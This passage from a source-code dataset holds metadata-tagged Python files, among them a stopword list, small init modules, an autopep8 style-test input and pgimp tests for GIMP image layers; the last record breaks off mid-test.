abhinashjain/proxyfuzzer

9c372390afe4cd3d277bcaaeb289e4c8ef398e5e

[ "BSD-3-Clause" ]

1

2017-03-14T21:16:43.000Z

knock-knock4/knockpy/__init__.py

abhinashjain/proxyfuzzer

9c372390afe4cd3d277bcaaeb289e4c8ef398e5e

[ "BSD-3-Clause" ]

1

2016-12-19T16:35:53.000Z

2016-12-22T19:40:30.000Z

knock-knock4/knockpy/__init__.py

abhinashjain/proxyfuzzer

9c372390afe4cd3d277bcaaeb289e4c8ef398e5e

[ "BSD-3-Clause" ]

2

2018-06-15T02:00:49.000Z

2021-09-08T19:15:35.000Z

import os _ROOT = os.path.abspath(os.path.dirname(__file__)) def get_data(path): return os.path.join(_ROOT, 'wordlist', path)

25.4

50

0.748031

21

127

4.190476

0.619048

0.204545

0

0.094488

127

4

51

31.75

0.765217

0

0.062992

0

1

0.25

false

0

0.25

0.75

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

55bbc7c595e31e90737d59f74df6dbd5b4ab1f77

121

py

Python

api_v2/views.py

LonelVino/club-chinois-home

3e2ecc6728f0b7349adfe10e515e3f5908d09c9d

[ "MIT" ]

null

api_v2/views.py

LonelVino/club-chinois-home

3e2ecc6728f0b7349adfe10e515e3f5908d09c9d

[ "MIT" ]

null

api_v2/views.py

LonelVino/club-chinois-home

3e2ecc6728f0b7349adfe10e515e3f5908d09c9d

[ "MIT" ]

null

from django.http import JsonResponse def names(request): return JsonResponse({'names': ['William', 'Rod', 'Grant']})

30.25

63

0.702479

14

121

6.071429

0.857143

0

0.123967

121

4

63

30.25

0.801887

0

0.165289

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

e9b3ab19d9a17d4244b5f5d4ce4ee01f10101503

399

py

Python

multiobj_rationale/fuseprop/__init__.py

binghong-ml/multiobj-rationale

735916854fba1886730ecac306dd509e930d67bd

[ "MIT" ]

1

2021-08-17T00:43:11.000Z

multiobj_rationale/fuseprop/__init__.py

binghong-ml/multiobj-rationale

735916854fba1886730ecac306dd509e930d67bd

[ "MIT" ]

null

multiobj_rationale/fuseprop/__init__.py

binghong-ml/multiobj-rationale

735916854fba1886730ecac306dd509e930d67bd

[ "MIT" ]

1

2021-08-17T00:43:12.000Z

from multiobj_rationale.fuseprop.mol_graph import MolGraph from multiobj_rationale.fuseprop.vocab import common_atom_vocab from multiobj_rationale.fuseprop.gnn import AtomVGNN from multiobj_rationale.fuseprop.dataset import * from multiobj_rationale.fuseprop.chemutils import find_clusters, random_subgraph, extract_subgraph, enum_subgraph, dual_random_subgraph, unique_rationales, merge_rationales

66.5

172

0.892231

51

399

6.666667

0.490196

0.176471

0.308824

0.426471

0

0.065163

399

5

173

79.8

0.911528

0

1

0

true

0

1

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0

null

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null

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1

0

6

e9d8b5a198128b03e1b20f916a54a13a506755fc

112,962

py

Python

earthy/wordlist.py

alvations/earthy

29a4e01050a5fd46a0ad49cd0aedfd25cd8ba787

[ "Apache-2.0" ]

6

2017-05-09T18:12:00.000Z

2017-12-22T16:26:35.000Z

earthy/wordlist.py

alvations/earthy

29a4e01050a5fd46a0ad49cd0aedfd25cd8ba787

[ "Apache-2.0" ]

1

2017-05-09T05:40:32.000Z

earthy/wordlist.py

alvations/earthy

29a4e01050a5fd46a0ad49cd0aedfd25cd8ba787

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import string from charguana import get_charset punctuations = set(list(string.punctuation) + list(get_charset('Currency_Symbol')) + list(get_charset('Close_Punctuation')) + list(get_charset('Open_Punctuation')) + list(get_charset('punctuation'))) # From https://raw.githubusercontent.com/6/stopwords-json/master/stopwords-all.json stopwords = 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,u"anyone",u"anything",u"anyway",u"anyways",u"anywhere",u"apart",u"appear",u"appreciate",u"appropriate",u"are",u"aren't",u"around",u"as",u"aside",u"ask",u"asking",u"associated",u"at",u"available",u"away",u"awfully",u"b",u"be",u"became",u"because",u"become",u"becomes",u"becoming",u"been",u"before",u"beforehand",u"behind",u"being",u"believe",u"below",u"beside",u"besides",u"best",u"better",u"between",u"beyond",u"both",u"brief",u"but",u"by",u"c",u"c'mon",u"c's",u"came",u"can",u"can't",u"cannot",u"cant",u"cause",u"causes",u"certain",u"certainly",u"changes",u"clearly",u"co",u"com",u"come",u"comes",u"concerning",u"consequently",u"consider",u"considering",u"contain",u"containing",u"contains",u"corresponding",u"could",u"couldn't",u"course",u"currently",u"d",u"definitely",u"described",u"despite",u"did",u"didn't",u"different",u"do",u"does",u"doesn't",u"doing",u"don't",u"done",u"down",u"downwards",u"during",u"e",u"each",u"edu",u"eg",u"eight",u"either",u"else",u"elsewhere",u"enough",u"entirely",u"especially",u"et",u"etc",u"even",u"ever",u"every",u"everybody",u"everyone",u"everything",u"everywhere",u"ex",u"exactly",u"example",u"except",u"f",u"far",u"few",u"fifth",u"first",u"five",u"followed",u"following",u"follows",u"for",u"former",u"formerly",u"forth",u"four",u"from",u"further",u"furthermore",u"g",u"get",u"gets",u"getting",u"given",u"gives",u"go",u"goes",u"going",u"gone",u"got",u"gotten",u"greetings",u"h",u"had",u"hadn't",u"happens",u"hardly",u"has",u"hasn't",u"have",u"haven't",u"having",u"he",u"he's",u"hello",u"help",u"hence",u"her",u"here",u"here's",u"hereafter",u"hereby",u"herein",u"hereupon",u"hers",u"herself",u"hi",u"him",u"himself",u"his",u"hither",u"hopefully",u"how",u"howbeit",u"however",u"i",u"i'd",u"i'll",u"i'm",u"i've",u"ie",u"if",u"ignored",u"immediate",u"in",u"inasmuch",u"inc",u"indeed",u"indicate",u"indicated",u"indicates",u"inner",u"insofar",u"instead",u"into",u"inward",u"is",u"isn't",u"it",u"it'd",u"it'll",u"it's",u"its",u"itself",u"j",u"just",u"k",u"keep",u"keeps",u"kept",u"know",u"known",u"knows",u"l",u"last",u"lately",u"later",u"latter",u"latterly",u"least",u"less",u"lest",u"let",u"let's",u"like",u"liked",u"likely",u"little",u"look",u"looking",u"looks",u"ltd",u"m",u"mainly",u"many",u"may",u"maybe",u"me",u"mean",u"meanwhile",u"merely",u"might",u"more",u"moreover",u"most",u"mostly",u"much",u"must",u"my",u"myself",u"n",u"name",u"namely",u"nd",u"near",u"nearly",u"necessary",u"need",u"needs",u"neither",u"never",u"nevertheless",u"new",u"next",u"nine",u"no",u"nobody",u"non",u"none",u"noone",u"nor",u"normally",u"not",u"nothing",u"novel",u"now",u"nowhere",u"o",u"obviously",u"of",u"off",u"often",u"oh",u"ok",u"okay",u"old",u"on",u"once",u"one",u"ones",u"only",u"onto",u"or",u"other",u"others",u"otherwise",u"ought",u"our",u"ours",u"ourselves",u"out",u"outside",u"over",u"overall",u"own",u"p",u"particular",u"particularly",u"per",u"perhaps",u"placed",u"please",u"plus",u"possible",u"presumably",u"probably",u"provides",u"q",u"que",u"quite",u"qv",u"r",u"rather",u"rd",u"re",u"really",u"reasonably",u"regarding",u"regardless",u"regards",u"relatively",u"respectively",u"right",u"s",u"said",u"same",u"saw",u"say",u"saying",u"says",u"second",u"secondly",u"see",u"seeing",u"seem",u"seemed",u"seeming",u"seems",u"seen",u"self",u"selves",u"sensible",u"sent",u"serious",u"seriously",u"seven",u"several",u"shall",u"she",u"should",u"shouldn't",u"since",u"six",u"so",u"some",u"somebody",u"somehow",u"someone",u"something",u"sometime",u"sometimes",u"somewhat",u"somewhere",u"soon",u"sorry",u"specified",u"specify",u"specifying",u"still",u"sub",u"such",u"sup",u"sure",u"t",u"t's",u"take",u"taken",u"tell",u"tends",u"th",u"than",u"thank",u"thanks",u"thanx",u"that",u"that's",u"thats",u"the",u"their",u"theirs",u"them",u"themselves",u"then",u"thence",u"there",u"there's",u"thereafter",u"thereby",u"therefore",u"therein",u"theres",u"thereupon",u"these",u"they",u"they'd",u"they'll",u"they're",u"they've",u"think",u"third",u"this",u"thorough",u"thoroughly",u"those",u"though",u"three",u"through",u"throughout",u"thru",u"thus",u"to",u"together",u"too",u"took",u"toward",u"towards",u"tried",u"tries",u"truly",u"try",u"trying",u"twice",u"two",u"u",u"un",u"under",u"unfortunately",u"unless",u"unlikely",u"until",u"unto",u"up",u"upon",u"us",u"use",u"used",u"useful",u"uses",u"using",u"usually",u"uucp",u"v",u"value",u"various",u"very",u"via",u"viz",u"vs",u"w",u"want",u"wants",u"was",u"wasn't",u"way",u"we",u"we'd",u"we'll",u"we're",u"we've",u"welcome",u"well",u"went",u"were",u"weren't",u"what",u"what's",u"whatever",u"when",u"whence",u"whenever",u"where",u"where's",u"whereafter",u"whereas",u"whereby",u"wherein",u"whereupon",u"wherever",u"whether",u"which",u"while",u"whither",u"who",u"who's",u"whoever",u"whole",u"whom",u"whose",u"why",u"will",u"willing",u"wish",u"with",u"within",u"without",u"won't",u"wonder",u"would",u"wouldn't",u"x",u"y",u"yes",u"yet",u"you",u"you'd",u"you'll",u"you're",u"you've",u"your",u"yours",u"yourself",u"yourselves",u"z",u"zero"]}

8,068.714286

112,534

0.63964

27,469

112,962

2.658997

0.402344

0.002848

0.003368

0.003341

0.053916

0.023289

0.022043

0.012746

0.012527

0.006079

0

0.000293

0.001824

112,962

13

112,535

8,689.384615

0.640436

0.000912

0

2.25

0.649119

0.365785

0

1

0

false

0.125

0.375

0

0.375

0.125

0

null

0

1

0

1

0

null

0

1

0

6

f937303cbe2bd1ca99e6bfd681984ef1eb1f4844

35

py

Python

first-homework.py

Hexotical/Astr119

34a638d29f33c8fde9245cd7c5869bf3f9e7366b

[ "MIT" ]

null

first-homework.py

Hexotical/Astr119

34a638d29f33c8fde9245cd7c5869bf3f9e7366b

[ "MIT" ]

2

2020-10-01T18:51:01.000Z

2020-10-06T14:15:37.000Z

first-homework.py

Hexotical/astr-119

34a638d29f33c8fde9245cd7c5869bf3f9e7366b

[ "MIT" ]

null

print("Lukas Ho, pronouns: he/him")

35

0.714286

6

35

4.166667

1

0

0.085714

35

1

35

0.78125

0

0.722222

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

f97b2f6c294156a507ee4e398ae4a7d90fba5ed9

240

py

Python

world_state.py

puskini33/Calculator

79cc0021e8c9b5235d6c57c2d721deb254d73a33

[ "MIT" ]

null

world_state.py

puskini33/Calculator

79cc0021e8c9b5235d6c57c2d721deb254d73a33

[ "MIT" ]

null

world_state.py

puskini33/Calculator

79cc0021e8c9b5235d6c57c2d721deb254d73a33

[ "MIT" ]

null

class WorldState(object): def __init__(self): self.variables = {} def clone(self): temporary_world_state = WorldState() temporary_world_state.variables = self.variables return temporary_world_state

24

56

0.675

25

240

6.08

0.48

0.276316

0.375

0

0.245833

240

9

57

26.666667

0.839779

0

1

0.285714

false

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

f99c7dc6ce29a2ffb9fe2abe6759971a3c9cf033

214

py

Python

cogkge/data/processor/fb15k237processor.py

jinzhuoran/CogKGE

b0e819a1d34cf61a7d70c33808da3377b73c8fd6

[ "MIT" ]

18

2022-01-22T09:52:57.000Z

2022-03-22T15:02:12.000Z

cogkge/data/processor/fb15k237processor.py

CogNLP/CogKGE

70d851d6489600c1e90eb25b0388a3ceba2f078c

[ "MIT" ]

null

cogkge/data/processor/fb15k237processor.py

CogNLP/CogKGE

70d851d6489600c1e90eb25b0388a3ceba2f078c

[ "MIT" ]

null

from .baseprocessor import BaseProcessor class FB15K237Processor(BaseProcessor): def __init__(self, node_lut, relation_lut, reprocess): super().__init__("FB15K237", node_lut, relation_lut, reprocess)

30.571429

71

0.771028

23

214

6.652174

0.608696

0.091503

0.196078

0.235294

0.352941

0

0.054054

0.135514

214

6

72

35.666667

0.772973

0

0.037383

0

1

0.25

false

0

0.25

0

0.75

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

f9d3e8e17cb4d7f9fe9db4b44a63b0c8a9f8f65f

323

py

Python

test/suite/E27.py

shardros/autopep8

2ab2ea74668b10f3910f3d5b9526494fa5671ca1

[ "MIT" ]

3,459

2015-01-03T15:53:43.000Z

2022-03-31T16:33:01.000Z

test/suite/E27.py

hayata-yamamoto/autopep8

107e29dce22c7b367a36633a78735278e4ad4288

[ "MIT" ]

435

2015-01-03T12:58:44.000Z

2022-03-29T12:37:13.000Z

test/suite/E27.py

hayata-yamamoto/autopep8

107e29dce22c7b367a36633a78735278e4ad4288

[ "MIT" ]

279

2015-03-16T16:34:51.000Z

2022-03-26T23:58:48.000Z

#: Okay True and False #: E271 True and False #: E272 True and False #: E271 if 1: #: E273 True and False #: E273 E274 True and False #: E271 a and b #: E271 1 and b #: E271 a and 2 #: E271 E272 1 and b #: E271 E272 a and 2 #: E272 this and False #: E273 a and b #: E274 a and b #: E273 E274 this and False

10.419355

15

0.613003

63

323

3.142857

0.222222

0.282828

0.30303

0.242424

0

0.257642

0.291022

323

30

16

10.766667

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Python

application/blueprints/user/__init__.py

demetrius-mp/flask-template

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[ "MIT" ]

null

application/blueprints/user/__init__.py

demetrius-mp/flask-template

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2021-10-14T02:00:15.000Z

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application/blueprints/user/__init__.py

demetrius-mp/flask-template

2dbab372bf2d7d5ff60af430c4b69c95a41cd681

[ "MIT" ]

null

from flask import Flask from application.blueprints.user.routes import users def init_app(app: Flask): app.register_blueprint(users)

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Python

smoothie/plugins/__init__.py

PiterPentester/smoothie

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2021-02-12T00:24:45.000Z

smoothie/plugins/__init__.py

PiterPentester/smoothie

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2021-03-26T00:37:50.000Z

smoothie/plugins/__init__.py

PiterPentester/smoothie

810709273c3d7bb975aca1f44062d39d0b33b678

[ "0BSD" ]

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#!/usr/bin/env python from smoothie.plugins.interfaces import run as interfaces from smoothie.plugins.list_networks import run as list_networks from smoothie.plugins.target_network import run as target_network

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Python

core/src/autogluon/core/scheduler/resource/__init__.py

zhiqiangdon/autogluon

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core/src/autogluon/core/scheduler/resource/__init__.py

zhiqiangdon/autogluon

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[ "Apache-2.0" ]

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core/src/autogluon/core/scheduler/resource/__init__.py

zhiqiangdon/autogluon

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[ "Apache-2.0" ]

623

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2022-03-20T17:11:01.000Z

from .resource import * from .dist_manager import * from ...utils import get_cpu_count, get_gpu_count

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Python

venv/lib/python3.8/site-packages/poetry/core/packages/constraints/union_constraint.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

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venv/lib/python3.8/site-packages/poetry/core/packages/constraints/union_constraint.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

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2021-11-20T04:09:18.000Z

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venv/lib/python3.8/site-packages/poetry/core/packages/constraints/union_constraint.py

DesmoSearch/Desmobot

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[ "MIT" ]

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py

Python

pgimp/GimpFileCollectionTest.py

netogallo/pgimp

bb86254983e1673d702e1fa2ed207166fd15ec65

[ "MIT" ]

5

2018-10-29T10:09:37.000Z

2020-12-28T04:47:32.000Z

pgimp/GimpFileCollectionTest.py

netogallo/pgimp

bb86254983e1673d702e1fa2ed207166fd15ec65

[ "MIT" ]

1

2020-10-21T18:35:44.000Z

2021-06-17T06:27:26.000Z

pgimp/GimpFileCollectionTest.py

netogallo/pgimp

bb86254983e1673d702e1fa2ed207166fd15ec65

[ "MIT" ]

4

2019-09-20T05:14:39.000Z

2021-04-05T01:55:47.000Z

# Copyright 2018 Mathias Burger <[email protected]> # # SPDX-License-Identifier: MIT import os import shutil import textwrap from tempfile import TemporaryDirectory import numpy as np import pytest from pgimp.GimpFile import GimpFile, GimpFileType from pgimp.GimpFileCollection import GimpFileCollection, NonExistingPathComponentException, \ GimpMissingRequiredParameterException, MaskForegroundColor from pgimp.util import file from pgimp.util.TempFile import TempFile from pgimp.util.string import escape_single_quotes def test_create_from_pathname_with_file(): prefix = file.relative_to(__file__, 'test-resources/files/') collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/first')) assert len(collection.get_files()) == 1 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/first.xcf')) assert len(collection.get_files()) == 1 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/first.png')) assert len(collection.get_files()) == 0 assert '' == collection.get_prefix() def test_create_from_pathname_with_directory(): prefix = file.relative_to(__file__, 'test-resources/files/') collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files')) assert len(collection.get_files()) == 2 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/')) assert len(collection.get_files()) == 2 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/*')) assert len(collection.get_files()) == 2 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/*.xcf')) assert len(collection.get_files()) == 2 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/*.png')) assert len(collection.get_files()) == 0 assert '' == collection.get_prefix() def test_create_from_pathname_with_recursive_match(): prefix = file.relative_to(__file__, 'test-resources/files/') collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**')) assert len(collection.get_files()) == 4 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**/')) assert len(collection.get_files()) == 4 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**/*')) assert len(collection.get_files()) == 4 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**/*.xcf')) assert len(collection.get_files()) == 4 assert prefix == collection.get_prefix() collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**/*.png')) assert len(collection.get_files()) == 0 assert '' == collection.get_prefix() def test_ordering(): prefix = file.relative_to(__file__, 'test-resources/files/') collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**')) collection = collection.replace_prefix(prefix) assert [ 'first.xcf', 'second.xcf', 'a/third.xcf', 'a/b/fourth.xcf', ] == collection.get_files() def test_replace_path_components(): prefix = file.relative_to(__file__, 'test-resources/files/') suffix = '.xcf' collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**')) collection = collection.replace_path_components(prefix, '#', suffix, '%') assert [ '#first%.xcf', '#second%.xcf', '#a/third%.xcf', '#a/b/fourth%.xcf', ] == collection.get_files() def test_replace_path_components_with_non_existing_component(): collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**')) with pytest.raises(NonExistingPathComponentException): collection.replace_path_components('wrong_prefix', '#') def test_replace_path_components_without_replacements(): collection = GimpFileCollection.create_from_pathname(file.relative_to(__file__, 'test-resources/files/**')) files_before = collection.get_files() collection = collection.replace_path_components() files_after = collection.get_files() assert files_before == files_after def test_find_files_containing_layer_by_predictate(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) files = collection.find_files_containing_layer_by_predictate( lambda layers: 'White' in map(lambda layer: layer.name, layers) ) assert len(files) == 1 assert with_white == files[0] files = collection.find_files_containing_layer_by_predictate( lambda layers: 'Not existing' in map(lambda layer: layer.name, layers) ) assert len(files) == 0 def test_find_files_containing_layer_by_name(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) files = collection.find_files_containing_layer_by_name('White', timeout_in_seconds=10) assert len(files) == 1 assert with_white == files[0] files = collection.find_files_containing_layer_by_name('Not existing', timeout_in_seconds=10) assert len(files) == 0 def test_find_files_by_script_with_script_that_takes_single_file(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ from pgimp.gimp.file import open_xcf from pgimp.gimp.parameter import return_bool image = open_xcf('__file__') for layer in image.layers: if layer.name == '{0:s}': return_bool(True) return_bool(False) """ ) files = collection.find_files_by_script(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert len(files) == 1 assert with_white == files[0] files = collection.find_files_by_script(script.format(escape_single_quotes('Not existing')), timeout_in_seconds=3) assert len(files) == 0 def test_find_files_by_script_with_script_that_takes_multiple_files(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ import gimp from pgimp.gimp.file import XcfFile from pgimp.gimp.parameter import return_json, get_json files = get_json('__files__') matches = [] for file in files: with XcfFile(file) as image: for layer in image.layers: if layer.name == '{0:s}': matches.append(file) return_json(matches) """ ) files = collection.find_files_by_script(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert len(files) == 1 assert with_white == files[0] files = collection.find_files_by_script(script.format(escape_single_quotes('Not existing')), timeout_in_seconds=3) assert len(files) == 0 def test_find_files_by_script_without_required_parameters(): collection = GimpFileCollection([]) script = textwrap.dedent( """ print(1) """ ) with pytest.raises(GimpMissingRequiredParameterException): collection.find_files_by_script(script, timeout_in_seconds=3) def test_execute_script_and_return_json_with_script_that_takes_single_file(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ from pgimp.gimp.file import open_xcf from pgimp.gimp.parameter import return_json image = open_xcf('__file__') for layer in image.layers: if layer.name == '{0:s}': return_json(True) return_json(False) """ ) files = collection.execute_script_and_return_json(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert { with_white: True, without_white: False, } == files def test_execute_script_and_return_json_with_script_that_takes_multiple_files_using_open(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ import gimp from pgimp.gimp.file import open_xcf from pgimp.gimp.parameter import return_json, get_json files = get_json('__files__') matches = [] for file in files: image = open_xcf(file) for layer in image.layers: if layer.name == '{0:s}': matches.append(file) gimp.pdb.gimp_image_delete(image) return_json(matches) """ ) files = collection.execute_script_and_return_json(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert len(files) == 1 assert with_white == files[0] def test_execute_script_and_return_json_with_script_that_takes_multiple_files_using_xcf_file(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white)\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ import gimp from pgimp.gimp.file import XcfFile from pgimp.gimp.parameter import return_json, get_json files = get_json('__files__') matches = [] for file in files: with XcfFile(file) as image: for layer in image.layers: if layer.name == '{0:s}': matches.append(file) return_json(matches) """ ) files = collection.execute_script_and_return_json(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert len(files) == 1 assert with_white == files[0] def test_execute_script_and_return_json_with_script_that_takes_multiple_files_using_for_each(): with TempFile('.xcf') as with_white, TempFile('.xcf') as without_white: GimpFile(with_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8) * 255) GimpFile(without_white) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('Black', np.zeros(shape=(1, 1), dtype=np.uint8)) collection = GimpFileCollection([with_white, without_white]) script = textwrap.dedent( """ from pgimp.gimp.file import for_each_file from pgimp.gimp.parameter import return_json, get_json matches = [] def layer_matches(image, file): for layer in image.layers: if layer.name == '{0:s}': matches.append(file) for_each_file(layer_matches) return_json(matches) """ ) files = collection.execute_script_and_return_json(script.format(escape_single_quotes('White')), timeout_in_seconds=3) assert len(files) == 1 assert with_white == files[0] def test_copy_layer_from(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf'))\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8))\ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) src_2 = GimpFile(os.path.join(srcdir, 'file2.xcf'))\ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('White', np.ones(shape=(1, 1), dtype=np.uint8)*255) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) \ .add_layer_from_numpy('White', np.zeros(shape=(1, 1), dtype=np.uint8)*255) dst_2 = GimpFile(os.path.join(dstdir, 'file2.xcf')) \ .create('Background', np.zeros(shape=(1, 1), dtype=np.uint8)) src_collection = GimpFileCollection([src_1.get_file(), src_2.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file(), dst_2.get_file()]) dst_collection.copy_layer_from(src_collection, 'White', layer_position=1, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('White') == 255) assert ['Background', 'White'] == dst_1.layer_names() assert 'White' in dst_2.layer_names() assert np.all(dst_2.layer_to_numpy('White') == 255) assert ['Background', 'White'] == dst_2.layer_names() def test_merge_mask_layer_from_with_grayscale_and_foreground_color_white(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf'))\ .create('Mask', np.array([[255, 0]], dtype=np.uint8)) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create('Mask', np.array([[0, 255]], dtype=np.uint8)) dst_2 = GimpFile(os.path.join(dstdir, 'file2.xcf')) \ .create('Mask', np.array([[0, 255]], dtype=np.uint8)) src_collection = GimpFileCollection([src_1.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file(), dst_2.get_file()]) dst_collection.merge_mask_layer_from(src_collection, 'Mask', MaskForegroundColor.WHITE, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('Mask') == [[255], [255]]) assert ['Mask'] == dst_1.layer_names() assert 'Mask' in dst_2.layer_names() assert np.all(dst_2.layer_to_numpy('Mask') == [[0], [255]]) assert ['Mask'] == dst_2.layer_names() def test_merge_mask_layer_from_with_grayscale_and_foreground_color_black(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf'))\ .create('Mask', np.array([[255, 0]], dtype=np.uint8)) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create('Mask', np.array([[0, 255]], dtype=np.uint8)) dst_2 = GimpFile(os.path.join(dstdir, 'file2.xcf')) \ .create('Mask', np.array([[0, 255]], dtype=np.uint8)) src_collection = GimpFileCollection([src_1.get_file()]) dst_collection = GimpFileCollection([dst_1.get_file(), dst_2.get_file()]) dst_collection.merge_mask_layer_from(src_collection, 'Mask', MaskForegroundColor.BLACK, timeout_in_seconds=10) assert np.all(dst_1.layer_to_numpy('Mask') == [[0], [0]]) assert ['Mask'] == dst_1.layer_names() assert 'Mask' in dst_2.layer_names() assert np.all(dst_2.layer_to_numpy('Mask') == [[0], [255]]) assert ['Mask'] == dst_2.layer_names() def test_merge_mask_layer_from_with_color(): with TemporaryDirectory('_src') as srcdir, TemporaryDirectory('_dst') as dstdir: src_1 = GimpFile(os.path.join(srcdir, 'file1.xcf'))\ .create('Mask', np.array([[[255, 255, 255], [0, 0, 0]]], dtype=np.uint8)) dst_1 = GimpFile(os.path.join(dstdir, 'file1.xcf')) \ .create('Mask', np.array([[[0, 0, 0], [255, 255, 255]]], dtype=np.uint8)) dst_2 = GimpFile(os.path.join(dstdir, 'file2.xcf')) \ 